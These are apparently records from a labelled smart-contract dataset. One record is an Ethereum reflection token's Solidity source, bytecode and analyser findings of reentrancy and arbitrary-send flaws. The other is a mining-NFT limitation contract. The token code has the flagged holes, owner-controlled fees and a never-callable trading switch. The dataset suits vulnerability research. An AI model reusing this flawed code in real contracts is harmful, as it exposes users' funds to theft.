_isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_mktgAddress] = true; _mktgAddress = Mktg; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_reflectionFee == 0 && _taxFee == 0) return; _previousReflectionFee = _reflectionFee; _previousTaxFee = _taxFee; _reflectionFee = 0; _taxFee = 0; } function restoreAllFee() private { _reflectionFee = _previousReflectionFee; _taxFee = _previousTaxFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) if(to != uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } //anti-sniper if(from != owner() && to != uniswapV2Pair && block.number == tradingActiveBlock){ boughtEarly[to] = true; emit BoughtEarly(to); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _reflectionFee = _reflectionFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (!_isExcludedFromFee[from]) { require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _reflectionFee = _reflectionFeeOnSell; _taxFee = _taxFeeOnSell; // higher tax if bought in the same block as trading active for 72 hours (sniper protect) if(boughtEarly[from] && earlyBuyPenaltyEnd > block.timestamp){ _taxFee = _taxFeeOnSell * 3; } } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _mktgAddress.transfer(amount); } function setTrading(bool _tradingOpen) private onlyOwner { tradingOpen = _tradingOpen; tradingActiveBlock = block.number; earlyBuyPenaltyEnd = block.timestamp + 72 hours; } function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 reflectionFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(reflectionFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _reflectionFeeOnBuy = reflectionFeeOnBuy; _taxFeeOnBuy = taxFeeOnBuy; _reflectionFeeOnSell = reflectionFeeOnSell; _taxFeeOnSell = taxFeeOnSell; require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 10, "Must keep buy taxes below 10%"); //wont allow taxes to go above 10% require(_reflectionFeeOnSell + _taxFeeOnSell <= 10, "Must keep buy taxes below 10%"); //wont allow taxes to go above 10% } //Set minimum tokens required to swap. function setSwapTokensAtAmount(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set max transaction function setMaxTxAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } //set max wallet function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } //set exclude wallet from fees function setExcludedFromFee(address account, bool excluded) public onlyOwner { _isExcludedFromFee[account] = excluded; } }
0x6080604052600436106101855760003560e01c80637d1db4a5116100d1578063a9059cbb1161008a578063ea1644d511610064578063ea1644d51461049d578063ec28438a146104bd578063ee40166e146104dd578063f2fde38b146104f357600080fd5b8063a9059cbb14610417578063afa4f3b214610437578063dd62ed3e1461045757600080fd5b80637d1db4a51461034e57806385ecfd28146103645780638da5cb5b146103945780638f9a55c0146103b257806395d89b41146103c8578063a2a957bb146103f757600080fd5b8063313ce5671161013e5780636612e66f116101185780636612e66f146102e45780636fc3eaec1461030457806370a0823114610319578063715018a61461033957600080fd5b8063313ce5671461027957806349bd5a5e1461029557806351bc3c85146102cd57600080fd5b806306fdde0314610191578063095ea7b3146101d857806318160ddd146102085780631fc851bd1461022d57806323b872dd146102435780632fd689e31461026357600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600c81526b2bb4b6363cb9902a37b5b2b760a11b60208201525b6040516101cf919061173e565b60405180910390f35b3480156101e457600080fd5b506101f86101f33660046117a8565b610513565b60405190151581526020016101cf565b34801561021457600080fd5b50678ac7230489e800005b6040519081526020016101cf565b34801561023957600080fd5b5061021f600a5481565b34801561024f57600080fd5b506101f861025e3660046117d4565b61052a565b34801561026f57600080fd5b5061021f60185481565b34801561028557600080fd5b50604051600981526020016101cf565b3480156102a157600080fd5b506015546102b5906001600160a01b031681565b6040516001600160a01b0390911681526020016101cf565b3480156102d957600080fd5b506102e2610593565b005b3480156102f057600080fd5b506102e26102ff366004611815565b6105df565b34801561031057600080fd5b506102e2610634565b34801561032557600080fd5b5061021f610334366004611853565b610668565b34801561034557600080fd5b506102e261068a565b34801561035a57600080fd5b5061021f60165481565b34801561037057600080fd5b506101f861037f366004611853565b60096020526000908152604090205460ff1681565b3480156103a057600080fd5b506000546001600160a01b03166102b5565b3480156103be57600080fd5b5061021f60175481565b3480156103d457600080fd5b5060408051808201909152600681526557494c4c595360d01b60208201526101c2565b34801561040357600080fd5b506102e2610412366004611870565b6106fe565b34801561042357600080fd5b506101f86104323660046117a8565b6107fc565b34801561044357600080fd5b506102e26104523660046118a2565b610809565b34801561046357600080fd5b5061021f6104723660046118bb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104a957600080fd5b506102e26104b83660046118a2565b610838565b3480156104c957600080fd5b506102e26104d83660046118a2565b610867565b3480156104e957600080fd5b5061021f60085481565b3480156104ff57600080fd5b506102e261050e366004611853565b610896565b6000610520338484610980565b5060015b92915050565b6000610537848484610aa4565b610589843361058485604051806060016040528060288152602001611a49602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611012565b610980565b5060019392505050565b6000546001600160a01b031633146105c65760405162461bcd60e51b81526004016105bd906118e9565b60405180910390fd5b60006105d130610668565b90506105dc8161104c565b50565b6000546001600160a01b031633146106095760405162461bcd60e51b81526004016105bd906118e9565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526004016105bd906118e9565b476105dc816111c6565b6001600160a01b03811660009081526002602052604081205461052490611204565b6000546001600160a01b031633146106b45760405162461bcd60e51b81526004016105bd906118e9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107285760405162461bcd60e51b81526004016105bd906118e9565b600b849055600c829055600d839055600e819055600a6107488386611934565b11156107965760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f772031302500000060448201526064016105bd565b600a600e54600d546107a89190611934565b11156107f65760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f772031302500000060448201526064016105bd565b50505050565b6000610520338484610aa4565b6000546001600160a01b031633146108335760405162461bcd60e51b81526004016105bd906118e9565b601855565b6000546001600160a01b031633146108625760405162461bcd60e51b81526004016105bd906118e9565b601755565b6000546001600160a01b031633146108915760405162461bcd60e51b81526004016105bd906118e9565b601655565b6000546001600160a01b031633146108c05760405162461bcd60e51b81526004016105bd906118e9565b6001600160a01b0381166109255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109e25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bd565b6001600160a01b038216610a435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bd565b6001600160a01b038216610b6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bd565b60008111610bcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bd565b6000546001600160a01b03848116911614801590610bf857506000546001600160a01b03838116911614155b15610e3b57601554600160a01b900460ff16610d26576015546001600160a01b03838116911614801590610c3a57506014546001600160a01b03838116911614155b8015610c5f57506001600160a01b03821660009081526005602052604090205460ff16155b15610d265760175481610c7184610668565b610c7b9190611934565b10610cd45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105bd565b601654811115610d265760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105bd565b6000546001600160a01b03848116911614801590610d5257506015546001600160a01b03838116911614155b8015610d5f575060085443145b15610dae576001600160a01b038216600081815260096020526040808220805460ff19166001179055517fb90badc1cf1c52268f4fa9afb5276aebf640bcca3300cdfc9cf37db17daa13e29190a25b6000610db930610668565b601854601654919250821015908210610dd25760165491505b808015610de95750601554600160a81b900460ff16155b8015610e0357506015546001600160a01b03868116911614155b8015610e185750601554600160b01b900460ff165b15610e3857610e268261104c565b478015610e3657610e36476111c6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610e7d57506001600160a01b03831660009081526005602052604090205460ff165b80610eaf57506015546001600160a01b03858116911614801590610eaf57506015546001600160a01b03848116911614155b15610ebc57506000611006565b6015546001600160a01b038581169116148015610ee757506014546001600160a01b03848116911614155b15610ef957600b54600f55600c546010555b6001600160a01b03841660009081526005602052604090205460ff16610f8a57601654821115610f8a5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016105bd565b6015546001600160a01b038481169116148015610fb557506014546001600160a01b03858116911614155b1561100657600d54600f55600e546010556001600160a01b03841660009081526009602052604090205460ff168015610fef575042600a54115b1561100657600e5461100290600361194c565b6010555b6107f684848484611288565b600081848411156110365760405162461bcd60e51b81526004016105bd919061173e565b506000611043848661196b565b95945050505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109457611094611982565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111119190611998565b8160018151811061112457611124611982565b6001600160a01b03928316602091820292909201015260145461114a9130911684610980565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906111839085906000908690309042906004016119b5565b600060405180830381600087803b15801561119d57600080fd5b505af11580156111b1573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611200573d6000803e3d6000fd5b5050565b600060065482111561126b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105bd565b60006112756112b6565b905061128183826112d9565b9392505050565b806112955761129561131b565b6112a0848484611349565b806107f6576107f6601154600f55601254601055565b60008060006112c3611440565b90925090506112d282826112d9565b9250505090565b600061128183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611480565b600f5415801561132b5750601054155b1561133257565b600f80546011556010805460125560009182905555565b60008060008060008061135b876114ae565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061138d908761150b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113bc908661154d565b6001600160a01b0389166000908152600260205260409020556113de816115ac565b6113e884836115f6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161142d91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061145b82826112d9565b82101561147757505060065492678ac7230489e8000092509050565b90939092509050565b600081836114a15760405162461bcd60e51b81526004016105bd919061173e565b5060006110438486611a26565b60008060008060008060008060006114cb8a600f5460105461161a565b92509250925060006114db6112b6565b905060008060006114ee8e87878761166f565b919e509c509a509598509396509194505050505091939550919395565b600061128183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611012565b60008061155a8385611934565b9050838110156112815760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bd565b60006115b66112b6565b905060006115c483836116bf565b306000908152600260205260409020549091506115e1908261154d565b30600090815260026020526040902055505050565b600654611603908361150b565b600655600754611613908261154d565b6007555050565b6000808080611634606461162e89896116bf565b906112d9565b90506000611647606461162e8a896116bf565b9050600061165f826116598b8661150b565b9061150b565b9992985090965090945050505050565b600080808061167e88866116bf565b9050600061168c88876116bf565b9050600061169a88886116bf565b905060006116ac82611659868661150b565b939b939a50919850919650505050505050565b6000826116ce57506000610524565b60006116da838561194c565b9050826116e78583611a26565b146112815760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bd565b600060208083528351808285015260005b8181101561176b5785810183015185820160400152820161174f565b8181111561177d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105dc57600080fd5b600080604083850312156117bb57600080fd5b82356117c681611793565b946020939093013593505050565b6000806000606084860312156117e957600080fd5b83356117f481611793565b9250602084013561180481611793565b929592945050506040919091013590565b6000806040838503121561182857600080fd5b823561183381611793565b91506020830135801515811461184857600080fd5b809150509250929050565b60006020828403121561186557600080fd5b813561128181611793565b6000806000806080858703121561188657600080fd5b5050823594602084013594506040840135936060013592509050565b6000602082840312156118b457600080fd5b5035919050565b600080604083850312156118ce57600080fd5b82356118d981611793565b9150602083013561184881611793565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156119475761194761191e565b500190565b60008160001904831182151516156119665761196661191e565b500290565b60008282101561197d5761197d61191e565b500390565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156119aa57600080fd5b815161128181611793565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a055784516001600160a01b0316835293830193918301916001016119e0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a4357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039f4d8c3ce124ba9cc5bbe98f3dac6afa9e0f655d6176b396046ceab066a775564736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,819
0x097EB2025019ebEc0faF9f8077804a10EB692f57
/** *Submitted for verification at Etherscan.io on 2021-08-26 */ pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract Poster is Ownable{ address public poster; event PosterChanged(address originalPoster, address newPoster); modifier onlyPoster(){ require(poster == _msgSender(), "not poster"); _; } function setPoster(address _poster) public onlyOwner{ require(_poster != address(0), "address should not be 0"); emit PosterChanged(poster, _poster); poster = _poster; } } contract MiningNFTMintingLimitationData is Poster{ using SafeMath for uint256; uint256 public totalMintLimitationInTiB; mapping(string=>uint) public minerMintAmountLimitation; // in TiB event TotalLimitationChanged(uint256 originalLimitation, uint256 newLimitation); event MinerMintAmountLimitationChanged(string minerId, uint256 originalLimitation, uint256 newLimitation); function setTotalMintLimitationInTiB(uint256 _totalMintLimitationInTiB) public onlyPoster{ require(_totalMintLimitationInTiB > 0, "value should be >0"); uint256 originalLimitation = totalMintLimitationInTiB; totalMintLimitationInTiB = _totalMintLimitationInTiB; emit TotalLimitationChanged(originalLimitation, totalMintLimitationInTiB); } /** increase overall limitation in TiB */ function increaseTotalLimitation(uint256 _limitationDelta) public onlyPoster{ uint256 originalLimitation = totalMintLimitationInTiB; totalMintLimitationInTiB = totalMintLimitationInTiB.add(_limitationDelta); emit TotalLimitationChanged(originalLimitation, totalMintLimitationInTiB); } function decreaseTotalLimitation(uint256 _limitationDelta) public onlyPoster{ uint256 originalLimitation = totalMintLimitationInTiB; if(_limitationDelta <= totalMintLimitationInTiB){ totalMintLimitationInTiB = totalMintLimitationInTiB.sub(_limitationDelta); }else{ totalMintLimitationInTiB = 0; } emit TotalLimitationChanged(originalLimitation, totalMintLimitationInTiB); } function increaseMinerLimitation(string memory _minerId, uint256 _minerLimitationDelta) public onlyPoster{ uint256 originalLimitation = minerMintAmountLimitation[_minerId]; minerMintAmountLimitation[_minerId] = minerMintAmountLimitation[_minerId].add(_minerLimitationDelta); increaseTotalLimitation(_minerLimitationDelta); emit MinerMintAmountLimitationChanged(_minerId, originalLimitation, minerMintAmountLimitation[_minerId]); } function decreaseMinerLimitation(string memory _minerId, uint256 _minerLimitationDelta) public onlyPoster{ uint originalLimitation = minerMintAmountLimitation[_minerId]; if(_minerLimitationDelta <= originalLimitation ){ minerMintAmountLimitation[_minerId] = originalLimitation.sub(_minerLimitationDelta); }else{ minerMintAmountLimitation[_minerId] = 0; _minerLimitationDelta = originalLimitation; } emit MinerMintAmountLimitationChanged(_minerId, originalLimitation, minerMintAmountLimitation[_minerId]); decreaseTotalLimitation(_minerLimitationDelta); } function setMinerMintAmountLimitationBatch(string[] memory minerIds, uint256[] memory limitations) public onlyPoster{ require(minerIds.length==limitations.length, "array length not equal"); for(uint i=0; i<minerIds.length; i++){ uint256 originalLimitation = minerMintAmountLimitation[minerIds[i]]; totalMintLimitationInTiB = totalMintLimitationInTiB.sub(originalLimitation).add(limitations[i]); emit TotalLimitationChanged(originalLimitation, totalMintLimitationInTiB); minerMintAmountLimitation[minerIds[i]] = limitations[i]; emit MinerMintAmountLimitationChanged(minerIds[i], originalLimitation, limitations[i]); } } function setMinerMintAmountLimitation(string memory _minerId, uint256 _limitation) public onlyPoster{ uint256 originalLimitation = minerMintAmountLimitation[_minerId]; totalMintLimitationInTiB = totalMintLimitationInTiB.sub(originalLimitation).add(_limitation); minerMintAmountLimitation[_minerId] = _limitation; emit MinerMintAmountLimitationChanged(_minerId, originalLimitation, _limitation); emit TotalLimitationChanged(originalLimitation, totalMintLimitationInTiB); } }
